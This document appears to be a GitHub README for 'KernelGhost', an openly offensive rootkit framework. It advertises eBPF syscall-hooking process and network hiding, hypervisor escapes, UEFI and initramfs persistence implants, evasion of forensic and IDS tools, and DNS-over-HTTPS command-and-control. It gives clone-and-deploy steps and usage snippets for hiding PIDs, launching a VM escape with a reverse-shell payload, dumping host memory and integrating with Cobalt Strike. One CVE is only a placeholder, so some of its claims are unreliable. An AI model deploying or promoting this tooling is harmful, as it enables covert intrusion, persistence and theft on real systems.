🔥 KernelGhost: Hypervisor & eBPF Rootkit Framework

Next-generation offensive security framework combining eBPF stealth and hypervisor-level exploitation
"When userland isn't enough and the kernel isn't safe"

---

📌 Features

🕵️‍♂️ Core Capabilities

• eBPF-Based Rootkit

  • Process/network hiding via syscall hooking
  • /proc//sys filesystem manipulation
  • Anti-forensic BPF verifier bypasses

• Hypervisor Escapes

  • KVM/QEMU guest-to-host memory writes
  • Hyper-V VMBus ring buffer exploitation (CVE-2023-XXXX)
  • Nested virtualization attacks

• Advanced Persistence

  • UEFI firmware implants via SPI flash
  • Initramfs backdoor injection
  • Cross-VM migration survival

🛡️ Defense Evasion

Technique	Implementation	Bypasses
Kernel Symbol Obfuscation	__ksymtab modification	Sysdig, ftrace
Memory Cloaking	Nested Page Table manipulation	LiME, Volatility
Cryptographic C2	AES-256-GCM over DNS-over-HTTPS	Network IDS

🚀 Quick Start

🔧 Prerequisites

# Ubuntu 22.04+ (Linux kernel ≥5.15)
sudo apt install linux-headers-$(uname -r) clang-15 bpftool qemu-kvm

🛠️ Installation

git clone https://github.com/Aviral2642/kernelghost.git
cd kernelghost
make all -j$(nproc)
sudo make deploy

---

🧪 Basic Usage

from ghostctl import Ghost

# Hide process from detection
gh = Ghost()
gh.hide_pid(1337)

# Execute hypervisor escape
if gh.check_hypervisor() == "KVM":
    gh.escape_vm(payload="reverse_shell")

---

🧩 Examples

🔍 Process Ghosting

# Hide current shell process
./examples/process_ghosting $$

# Verify hiding (should show error)
ps -p $$

🧨 VM Escape PoC

# Launch attack on KVM host
./examples/vm_escape_poc --payload host_mem_dump.bin

🎯 Cobalt Strike Integration

python examples/cs_integration.py --listen 443 --aes-key $(openssl rand -hex 32)
